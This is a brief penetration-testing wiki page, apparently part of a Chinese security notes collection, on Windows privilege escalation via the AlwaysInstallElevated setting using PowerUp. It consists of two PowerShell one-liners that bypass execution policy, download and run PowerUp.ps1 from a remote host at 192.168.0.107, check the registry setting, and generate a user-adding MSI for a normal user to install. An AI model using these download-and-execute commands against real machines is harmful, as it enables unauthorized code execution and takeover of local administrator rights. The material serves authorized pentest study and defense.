> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/quan-xian-ti-sheng/windows-ti-quan/powerup-alwaysinstallelevated.md).

# Powerup AlwaysInstallElevated

```
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powertools/PowerUp/PowerUp.ps1');Get-RegAlwaysInstallElevated"
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/157.png)

```
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powertools/PowerUp/PowerUp.ps1'); Write-UserAddMSI"
普通用户执行安装
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/158.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/159.png)